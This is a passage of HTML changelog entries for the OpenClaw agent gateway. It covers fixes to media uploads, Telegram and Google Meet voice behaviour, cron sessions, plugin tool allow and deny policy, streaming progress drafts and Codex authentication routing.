<li>Media: treat <code>EPERM</code> from the post-write media fsync step as best-effort, allowing WebChat and channel uploads to finish on Windows filesystems that reject <code>fsync</code> after a successful write. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372472680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76844" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76844/hovercard" href="https://github.com/openclaw/openclaw/issues/76844">#76844</a>.</li>
<li>Media/Telegram: send in-limit original images when optional image optimization is unavailable, so Telegram MEDIA replies and message-tool image sends do not fail just because <code>sharp</code> is missing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373855031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77081/hovercard" href="https://github.com/openclaw/openclaw/issues/77081">#77081</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374137500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77117/hovercard" href="https://github.com/openclaw/openclaw/pull/77117">#77117</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pfrederiksen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pfrederiksen">@pfrederiksen</a>.</li>
<li>Diagnostics: include last progress, cron job/run ids, stopped cron job name, and the last assistant transcript snippet in stalled-session and stuck-session recovery logs so cron stalls show what was stopped.</li>
<li>Streaming channels: add <code>streaming.preview.commandText: "status"</code> / <code>streaming.progress.commandText: "status"</code> to hide command/exec text in preview progress lines while keeping the released raw command text default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373812831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77072/hovercard" href="https://github.com/openclaw/openclaw/issues/77072">#77072</a>.</li>
<li>Agents/cron: let explicit cron <code>timeoutSeconds</code> drive both CLI no-output and embedded LLM idle watchdogs instead of being capped by resume defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370262867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76289" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76289/hovercard" href="https://github.com/openclaw/openclaw/issues/76289">#76289</a>.</li>
<li>Plugins/catalog: suppress missing <code>channelConfigs</code> compatibility diagnostics for external channel plugins that are disabled, denied, or outside a restrictive allowlist. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369072769" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76095/hovercard" href="https://github.com/openclaw/openclaw/issues/76095">#76095</a>.</li>
<li>Diagnostics: keep webhook/message OTEL attributes and Prometheus delivery labels low-cardinality and omit raw chat/message IDs from spans, so progress-draft and message-tool modes do not leak high-cardinality messaging identifiers.</li>
<li>Google Meet: stop advertising legacy <code>mode: "realtime"</code> to agents and config UIs, while keeping it as a hidden compatibility alias for <code>mode: "agent"</code>, so new joins use the STT -&gt; OpenClaw agent -&gt; TTS path instead of selecting the direct realtime voice fallback.</li>
<li>Google Meet: add <code>chrome.audioBufferBytes</code> for generated command-pair SoX audio commands and lower the default buffer from SoX's 8192 bytes to 4096 bytes to reduce Chrome talk-back latency.</li>
<li>Google Meet: split realtime provider config into agent-mode transcription and bidi-mode voice providers, and migrate legacy Gemini Live bidi configs with <code>doctor --fix</code>, so Gemini Live can back direct bidi fallback without breaking the default OpenClaw agent talk-back path.</li>
<li>Google Meet: keep waiting for the Meet microphone to unmute during join intro readiness instead of permanently skipping talk-back when Meet briefly reports the local mic as muted.</li>
<li>Google Meet: expose <code>voiceCall.postDtmfSpeechDelayMs</code> in the plugin manifest schema and setup hints, so manifest-based config editing accepts the runtime-supported Twilio delay key. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: keep explicit non-Google <code>realtime.provider</code> values as the transcription provider compatibility fallback when <code>realtime.transcriptionProvider</code> is unset. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: make Twilio setup status require an enabled <code>voice-call</code> plugin entry instead of treating a missing entry as ready. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Telegram: render shared interactive reply buttons in reply delivery so plugin approval messages show inline keyboards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369897432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76238/hovercard" href="https://github.com/openclaw/openclaw/pull/76238">#76238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Cron/sessions: keep cron metadata rows without an on-disk transcript non-resumable until a transcript exists, so doctor and <code>sessions cleanup --fix-missing</code> no longer report or prune pre-transcript cron rows as broken sessions. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373427724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77011" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77011/hovercard" href="https://github.com/openclaw/openclaw/issues/77011">#77011</a>.</li>
<li>Agents/cli-runner: drop a saved <code>claude-cli</code> resume sessionId at preparation time when its on-disk transcript no longer exists in <code>~/.claude/projects/</code>, so a stale binding from a half-installed <code>update.run</code> cannot trap follow-up runs (auto-reply / Telegram direct) in a <code>claude --resume</code> timeout loop; the run starts fresh and the new sessionId is written back through the existing post-run flow. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373541733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77030/hovercard" href="https://github.com/openclaw/openclaw/pull/77030">#77030</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373427724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77011" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77011/hovercard" href="https://github.com/openclaw/openclaw/issues/77011">#77011</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Release validation: install the cross-OS TypeScript harness through Windows-safe Node/npm shims so native Windows package checks reach the OpenClaw smoke suites instead of exiting before artifact capture. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Release validation: let Windows packaged-upgrade checks continue after the shipped 2026.5.2 updater hits its native-module swap cleanup fallback, verifying the fallback-installed candidate through package metadata and downstream smoke instead of crashing on the immediate update-status probe. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/plugins: skip channel-derived official plugin installs when another configured plugin is the effective owner for the same channel, so <code>doctor --repair</code> does not reinstall <code>feishu</code> while <code>openclaw-lark</code> handles <code>channels.feishu</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371528550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76623" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76623/hovercard" href="https://github.com/openclaw/openclaw/issues/76623">#76623</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuyizheng3120/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuyizheng3120">@fuyizheng3120</a>.</li>
<li>Gateway/sessions: memoize repeated thinking-option enrichment and skip unused cost fallback checks while listing sessions, reducing per-row work on large multi-agent stores. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372926733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76931" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76931/hovercard" href="https://github.com/openclaw/openclaw/issues/76931">#76931</a>.</li>
<li>Gateway/sessions: bound default <code>sessions.list</code> RPC responses and report truncation metadata, preventing Slack-heavy long-lived stores from forcing unbounded Gateway row construction. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373782015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77062" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77062/hovercard" href="https://github.com/openclaw/openclaw/issues/77062">#77062</a>.</li>
<li>Agents/tools: use config-only runtime snapshots for plugin tool registration and live runtime config getters, avoiding expensive full secrets snapshot clones on the core-plugin-tools prep path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370292544" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76295" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76295/hovercard" href="https://github.com/openclaw/openclaw/issues/76295">#76295</a>.</li>
<li>Agents/tools: honor the effective tool denylist before constructing optional PDF/media tool factories, so <code>tools.deny: ["pdf"]</code> skips PDF setup before later policy filtering. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373278886" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76997" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76997/hovercard" href="https://github.com/openclaw/openclaw/issues/76997">#76997</a>.</li>
<li>MCP/plugin tools: apply global <code>tools.profile</code>, <code>tools.alsoAllow</code>, and <code>tools.deny</code> policy while exposing plugin tools over the standalone MCP bridge, so ACP clients do not see policy-hidden plugin tools or miss opt-in optional tools. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin tools: honor explicit tool denylists while selecting plugin tool runtimes, so denied plugin tools are not materialized for direct command or gateway surfaces before later policy filtering. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin tools: filter factory-returned tools by manifest per-tool optional policy, so optional sibling tools from a shared runtime factory stay hidden unless explicitly allowed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/transcripts: retry context-overflow compaction from the current transcript only after the inbound user turn was actually persisted, and keep WebChat agent-run live delivery from writing duplicate Pi-managed assistant turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370788206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76424" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76424/hovercard" href="https://github.com/openclaw/openclaw/issues/76424">#76424</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373573118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77033" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77033/hovercard" href="https://github.com/openclaw/openclaw/pull/77033">#77033</a>)</li>
<li>Agents/bootstrap: keep pending <code>BOOTSTRAP.md</code> and bootstrap truncation notices in system-prompt Project Context instead of copying setup text or raw warning diagnostics into WebChat user/runtime context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373002853" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76946" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76946/hovercard" href="https://github.com/openclaw/openclaw/issues/76946">#76946</a>.</li>
<li>Gateway/install: keep <code>.env</code>-managed values in the macOS LaunchAgent env file while still tracking <code>OPENCLAW_SERVICE_MANAGED_ENV_KEYS</code>, so regenerated services do not boot without managed auth/provider keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362491875" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75374" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75374/hovercard" href="https://github.com/openclaw/openclaw/issues/75374">#75374</a>.</li>
<li>Gateway/restart: verify listener PIDs by argv when <code>lsof</code> reports only the Node process name, so stale gateway cleanup can find macOS <code>cnode</code> listeners. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317145646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70664" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70664/hovercard" href="https://github.com/openclaw/openclaw/issues/70664">#70664</a>.</li>
<li>Gateway/logging: expand leading <code>~</code> in <code>logging.file</code> before creating the file logger, preventing startup crash loops for home-relative log paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343599652" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73587/hovercard" href="https://github.com/openclaw/openclaw/issues/73587">#73587</a>.</li>
<li>Channels/CLI: keep <code>openclaw channels list --json</code> usable when provider usage fetching fails, and report per-provider usage errors without aborting the channel list. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274421080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67595/hovercard" href="https://github.com/openclaw/openclaw/issues/67595">#67595</a>.</li>
<li>Doctor/plugins: do not treat <code>plugins.allow</code> entries as configured plugins during missing-plugin repair, so restrictive allowlists no longer install allowed-but-unused plugins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/messaging: deliver distinct final commentary after same-target <code>message</code> tool sends while still deduping text/media already sent by the tool, so short closing remarks are no longer silently dropped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372829643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76915/hovercard" href="https://github.com/openclaw/openclaw/issues/76915">#76915</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Agents/messaging: preserve string thread IDs when matching message-tool reply dedupe routes, avoiding precision loss on numeric-looking topic IDs before channel plugin comparison. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/streaming: honor <code>agents.defaults.toolProgressDetail: "raw"</code> in Slack, Discord, Telegram, Matrix, and Microsoft Teams progress drafts, so tool-start lines include raw command/detail output when debugging. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/streaming: strip unmatched inline-code backticks from compacted raw progress draft lines, avoiding stray markdown markers after long command details are shortened. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Discord/Slack/Mattermost: align draft preview tool-progress config help with the runtime behavior that hides interim tool updates when <code>streaming.preview.toolProgress</code> is false. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Feishu: use the shared channel progress formatter for streaming-card tool status lines, including raw command/detail output and message-tool filtering. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Mattermost: use the shared progress draft formatter for tool status previews, including raw command/detail output when <code>agents.defaults.toolProgressDetail: "raw"</code> is enabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Mattermost: suppress standalone default tool-progress messages while draft previews are active, including when draft tool lines are disabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Telegram: deliver button-only interactive replies by sending the shared fallback button-label text with the inline keyboard instead of dropping the reply as empty. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>OpenAI Codex: honor <code>auth.order.openai-codex</code> when starting app-server clients without an explicit auth profile, so status/model probes and implicit startup use the configured Codex account instead of falling back to the default profile. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>OpenAI Codex: let SSRF-guarded provider requests inherit OpenClaw's undici IPv4/IPv6 fallback policy, so ChatGPT-backed Codex runs recover on IPv4-working hosts when DNS still returns unreachable IPv6 addresses. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372541165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76857" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76857/hovercard" href="https://github.com/openclaw/openclaw/issues/76857">#76857</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jplavoiemtl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jplavoiemtl">@jplavoiemtl</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Plugin updates: do not short-circuit trusted official npm updates as unchanged when the default/latest spec still resolves to an already-installed prerelease that the installer should replace with a stable fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin updates: clean stale bundled load paths for already-externalized npm installs whose legacy install record only preserved the resolved package name. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin tools: keep auth-unavailable optional tools hidden even when another default tool from the same plugin is available and <code>tools.alsoAllow</code> names the optional tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Realtime transcription: report socket closes before provider readiness as closed-before-ready failures instead of mislabeling them as connection timeouts for OpenAI, xAI, and Deepgram streaming transcription. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>OpenAI/Google Meet: fail realtime voice connection attempts when the socket closes before <code>session.updated</code>, avoiding stuck Meet joins waiting on a bridge that never became ready. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: avoid treating repeated participant words as multiple assistant-overlap matches when suppressing realtime echo transcripts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: make <code>mode: "agent"</code> the default Chrome talk-back path, using realtime transcription for input and regular OpenClaw TTS for speech output, while keeping direct realtime voice answers available as <code>mode: "bidi"</code> and accepting <code>mode: "realtime"</code> as an agent-mode compatibility alias.</li>
<li>Codex harness: keep <code>codex_app_server.*</code> telemetry publication owned by the harness instead of republishing the same callback event from core runners. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Slack/Discord: suppress standalone tool-progress chatter when partial preview streaming has <code>streaming.preview.toolProgress: false</code>, matching the documented quiet-preview behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Matrix: bind native approval reaction targets before publishing option reactions, so fast approver reactions on threaded prompts are not dropped while the approval handler finishes setup. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: make realtime talk-back agent-driven by default with <code>realtime.strategy: "agent"</code>, keep the previous direct bidirectional model behavior available as <code>realtime.strategy: "bidi"</code>, route the Meet tab speaker output to <code>BlackHole 2ch</code> automatically for local Chrome realtime joins, coalesce nearby speech transcript fragments before consulting the agent, and avoid cutting off agent speech from server VAD or stale playback pipe errors.</li>
<li>Google Meet: suppress queued assistant playback and assistant-like transcript echoes from the realtime input path, so the meeting does not hear the agent's own speech as a new user turn and loop or cut itself off.</li>
<li>Google Meet: keep Chrome realtime transport tests hermetic on Linux prerelease shards while preserving the macOS-only runtime guard. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Matrix: let the live tool-progress preview and error checks verify progress replacement events without depending on the preview saying <code>Working</code>, <code>tool: read</code>, an unlabelled/pathless <code>read from</code>, or the original draft root being observed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Matrix: keep the target=both approval scenario focused on channel and DM metadata delivery by resolving the accepted approval through the gateway after both Matrix events are observed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Matrix: wait for live approval reactions to echo before starting the threaded approval decision timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Matrix: reuse the primed driver sync stream when confirming approval reaction echoes, avoiding missed self-reactions in live release runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/WhatsApp: apply the shared group/channel visible-reply mode during inbound dispatch so group replies stay message-tool-only by default without overriding direct-chat harness defaults. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359986231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75178" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75178/hovercard" href="https://github.com/openclaw/openclaw/issues/75178">#75178</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4271747463" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67394" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67394/hovercard" href="https://github.com/openclaw/openclaw/issues/67394">#67394</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
<li>Plugins/Codex: preserve Codex-native OAuth routing for <code>/codex bind</code> app-server turns so bound sessions keep the selected Codex auth profile instead of falling back to public OpenAI credentials. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371977999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76714" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76714/hovercard" href="https://github.com/openclaw/openclaw/pull/76714">#76714</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Telegram: keep status checks pointed at the active chat so asking for the current session no longer reports an old direct-message conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371945919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76708/hovercard" href="https://github.com/openclaw/openclaw/issues/76708">#76708</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Gateway/install: prefer supported system Node over nvm/fnm/volta/asdf/mise when regenerating managed gateway services, so <code>gateway install --force</code> no longer recreates service definitions that doctor immediately flags as version-manager-backed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370479446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76339/hovercard" href="https://github.com/openclaw/openclaw/issues/76339">#76339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Google Chat: normalize Google auth certificate response headers before google-auth-library reads cache-control, so inbound webhook auth no longer rejects with <code>res?.headers.get is not a function</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372631806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76880" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76880/hovercard" href="https://github.com/openclaw/openclaw/issues/76880">#76880</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donbowman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donbowman">@donbowman</a>.</li>
